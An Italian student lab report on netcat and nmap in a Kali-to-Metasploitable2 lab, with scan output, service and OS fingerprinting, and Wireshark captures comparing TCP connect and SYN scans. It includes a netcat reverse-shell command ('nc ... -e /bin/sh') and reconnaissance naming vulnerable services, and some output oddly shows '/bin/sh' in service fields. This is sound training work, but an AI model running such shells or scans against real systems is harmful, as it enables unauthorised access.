

Report di Pandolfi Luciano sull'utilizzo di NETCAT e NMAP con relativa verifica di connessione e scansione di rete (con Wireshark) tra Server (Metasploitable2) e Client (Kali Linux)

- Per prima cosa ho aperto un listener per le connessioni in entrata sul lato Server assegnando un numero di porta (1234);
- Successivamente ho eseguito sul lato Client il comando che permette di reindirizzare una shell sul nostro Sistema, potendo così avere il controllo della macchina tramite terminale.

```
(kali@kali)-[~]  
$ nc 192.168.50.101 1234 -e /bin/sh  
sh: 1: ciao: not found  
msfadmin@metasploitable:~$ nc -l -p 1234  
ciao
```

In seguito dal terminale Client ho eseguito diversi tipi di scan sulla macchina metasploitable2 con nmap:

- Scansione TCP sulle porte well-known;
- Scansione SYN sulle porte well-known;
- Scansione con switch «A» sulle porte well-known.

Report di Scansione dei Servizi di Rete

Fonte dello Scan	Target dello Scan	Tipo di Scan	Risultati Ottenuti
Nmap	192.168.50.101	-sS (TCP SYN Scan)	Trovati 12 servizi attivi; Porte aperte: 80,25,53,22,23,111,139,21,445,513,514,512.
Nmap	192.168.50.101	-sT (TCP Connect Scan)	Trovati 12 servizi attivi; Porte aperte: 80,22,139,53,445,25,23,21,111,514,512,513.

```
(kali㉿kali)-[~]  
$ sudo nmap -sT 192.168.50.101 -p 0-1023  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 17:10 EDT  
Nmap scan report for 192.168.50.101  
Host is up (0.017s latency).  
Not shown: 1012 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
23/tcp    open  telnet  
25/tcp    open  smtp  
53/tcp    open  domain  
80/tcp    open  http  
111/tcp   open  rpcbind  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
512/tcp   open  exec  
513/tcp   open  login  
514/tcp   open  shell  
MAC Address: 08:00:27:76:FA:58 (Oracle VirtualBox virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 15.33 seconds
```

```
(kali㉿kali)-[~]  
$ sudo nmap -sT 192.168.50.101 -p 0-1023  
[sudo] password for kali:  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 03:51 EDT  
Nmap scan report for 192.168.50.101  
Host is up (0.0084s latency).  
Not shown: 1012 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
21/tcp    open  ftp  
22/tcp    open  ssh  
23/tcp    open  telnet  
25/tcp    open  smtp  
53/tcp    open  domain  
80/tcp    open  http  
111/tcp   open  rpcbind  
139/tcp   open  netbios-ssn  
445/tcp   open  microsoft-ds  
512/tcp   open  exec  
513/tcp   open  login  
514/tcp   open  shell  
MAC Address: 08:00:27:76:FA:58 (Oracle VirtualBox virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds
```

Scansione con switch «-A» sulle porte well-known, mii ha permesso di recuperare molte informazioni utili sull'ip target, preziose per le fasi successive, come la versione del sistema operativo e dei servizi disponibili in ascolto sulle porte aperte.

```
(kali㉿kali)-[~]
└─$ sudo nmap -A 192.168.50.101 -p 0-1023
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 04:53 EDT
Nmap scan report for 192.168.50.101
Host is up (0.0062s latency).
Not shown: 1012 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-syst:
|_STAT:
|_FTP server status:
|_21: Connected to 192.168.50.100
|_21: Logged in as ftp
|_21: TYPE: ASCII
|_21: No session bandwidth limit
|_21: Session timeout in seconds is 300
|_21: Control connection is plain text
|_21: Data connections will be plain text
|_21: vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_21: Connection refused
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_ 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet?
25/tcp    open  smtp?       /bin/sh
|_smtp-commands: Couldn't establish connection on port 25
53/tcp    open  domain      ISC BIND 9.4.2
|_dns-nsid:
|_ bind.version: 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind     2 (RPC #100000)
|_rpcinfo:
|_ program version    port/proto  service
|_ 100000 2                  111/tcp    rpcbind
```

```

| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 45725/udp mountd
| 100005 1,2,3 57469/tcp mountd
| 100021 1,3,4 35703/udp nlockmgr
| 100021 1,3,4 51114/tcp nlockmgr
| 100024 1 48081/tcp status
| 100024 1 55859/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec? /bin/sh
513/tcp open login?
514/tcp open shell?
MAC Address: 08:00:27:76:FA:58 (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/31%OT=21%CT=1%CU=38037%PV=Y%DS=1%DC=D%G=Y%M=0800
OS:27%TM=67234607%P=x86_64-pc-linux-gnu)SEQ(SP=C3%GCD=1%ISR=CA%TI=Z%CI=Z%II
OS:=I%TS=5)SEQ(SP=C3%GCD=1%ISR=CB%TI=Z%CI=Z%II=I%TS=5)SEQ(SP=C4%GCD=1%ISR=C
OS:B%TI=Z%CI=Z%II=I%TS=5)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%
OS:O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4
OS:=16A0%W5=16A0%W6=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW7%CC=N%Q=)T1(R
OS:=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=
OS:S+%F=AS%O=M5B4ST11NW7%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)

Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -1d11h36m50s, deviation: 2h49m43s, median: -1d13h36m51s
|_ smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name: /bin/sh
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2024-10-29T15:20:09-04:00
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE
HOP RTT ADDRESS
1 6.23 ms 192.168.50.101

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 313.22 seconds

```

Differenze tra Scansione Completa TCP (-sT) e Scansione SYN (-sS), prendendo come riferimento in figura la porta nota 80 (http).

Scansione Completa TCP (-sT):

- Stabilisce una connessione "three-way handshake" (SYN, SYN-ACK, ACK) per ogni porta aperta;
- Può essere rilevata facilmente dai sistemi di sicurezza, poiché stabilisce connessioni complete;
- Nel traffico catturato, puoi vedere sequenze di pacchetti SYN, SYN-ACK, ACK, ogni connessione verrà mostrata come un flusso completo quando la porta è aperta;
- Se la porta è chiusa dopo il SYN iniziale restituisce [RST, ACK].

25	19.274706865	192.168.50.100	192.168.50.101	TCP	74 35978 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=312414858 TSecr=0 WS=128
26	19.275207840	192.168.50.100	192.168.50.101	TCP	74 60010 → 143 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=312414858 TSecr=0 WS=128
27	19.275907174	192.168.50.100	192.168.50.101	TCP	74 33112 → 993 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=312414859 TSecr=0 WS=128
28	19.276355115	192.168.50.100	192.168.50.101	TCP	74 45558 → 256 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=312414860 TSecr=0 WS=128
29	19.276790277	192.168.50.100	192.168.50.101	TCP	74 58348 → 25 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=312414860 TSecr=0 WS=128
30	19.277860300	192.168.50.100	192.168.50.101	TCP	74 47378 → 53 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=312414861 TSecr=0 WS=128
31	19.278295887	192.168.50.100	192.168.50.101	TCP	74 46538 → 554 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=312414861 TSecr=0 WS=128
32	19.278727705	192.168.50.100	192.168.50.101	TCP	74 50766 → 995 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=312414862 TSecr=0 WS=128
33	19.279287523	192.168.50.100	192.168.50.101	TCP	74 39228 → 22 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=312414862 TSecr=0 WS=128
34	19.279798313	192.168.50.100	192.168.50.101	TCP	74 58188 → 110 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=312414863 TSecr=0 WS=128
35	19.282308426	192.168.50.101	192.168.50.100	TCP	74 80 → 35978 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=227741 TSecr=312414858 WS=128
36	19.282309037	192.168.50.101	192.168.50.100	TCP	60 143 → 60010 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
37	19.282309107	192.168.50.101	192.168.50.100	TCP	60 993 → 33112 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
38	19.282309177	192.168.50.101	192.168.50.100	TCP	60 256 → 45558 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
39	19.282309248	192.168.50.101	192.168.50.100	TCP	74 25 → 58348 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=227741 TSecr=312414860 WS=128
40	19.282309328	192.168.50.101	192.168.50.100	TCP	74 53 → 47378 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=227741 TSecr=312414861 WS=128
41	19.282309397	192.168.50.101	192.168.50.100	TCP	60 554 → 46538 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
42	19.282309478	192.168.50.101	192.168.50.100	TCP	60 995 → 50766 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
43	19.282425681	192.168.50.100	192.168.50.101	TCP	66 35978 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=312414866 TSecr=227741
44	19.282531941	192.168.50.100	192.168.50.101	TCP	66 58348 → 25 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=312414866 TSecr=227741

Scansione SYN (-sS):

- Utilizza solo il pacchetto SYN per inviare la richiesta.
- Non completa il "three-way handshake" (manca l'ACK finale), rendendo la scansione meno rilevabile.
- I sistemi target dopo il tipico [SYN] risponderanno con un [SYN-ACK] e successivamente [RST] se la porta è aperta non completando la connessione;
- Risponde invece direttamente con un [RST, ACK] se è chiusa.

14	13.107530007	192.168.50.100	192.168.50.101	TCP	58 42362 → 80 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
15	13.107591435	192.168.50.100	192.168.50.101	TCP	58 42362 → 113 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
16	13.107661653	192.168.50.100	192.168.50.101	TCP	58 42362 → 22 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
17	13.107721918	192.168.50.100	192.168.50.101	TCP	58 42362 → 256 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
18	13.107973089	192.168.50.100	192.168.50.101	TCP	58 42362 → 554 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
19	13.108142926	192.168.50.100	192.168.50.101	TCP	58 42362 → 139 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
20	13.108291174	192.168.50.100	192.168.50.101	TCP	58 42362 → 443 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
21	13.108358385	192.168.50.100	192.168.50.101	TCP	58 42362 → 199 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
22	13.109235932	192.168.50.101	192.168.50.100	TCP	60 995 → 42362 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
23	13.109236653	192.168.50.101	192.168.50.100	TCP	60 993 → 42362 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
24	13.109236824	192.168.50.101	192.168.50.100	TCP	60 80 → 42362 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
25	13.109236985	192.168.50.101	192.168.50.100	TCP	60 113 → 42362 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
26	13.109474346	192.168.50.100	192.168.50.101	TCP	54 42362 → 80 [RST] Seq=1 Win=0 Len=0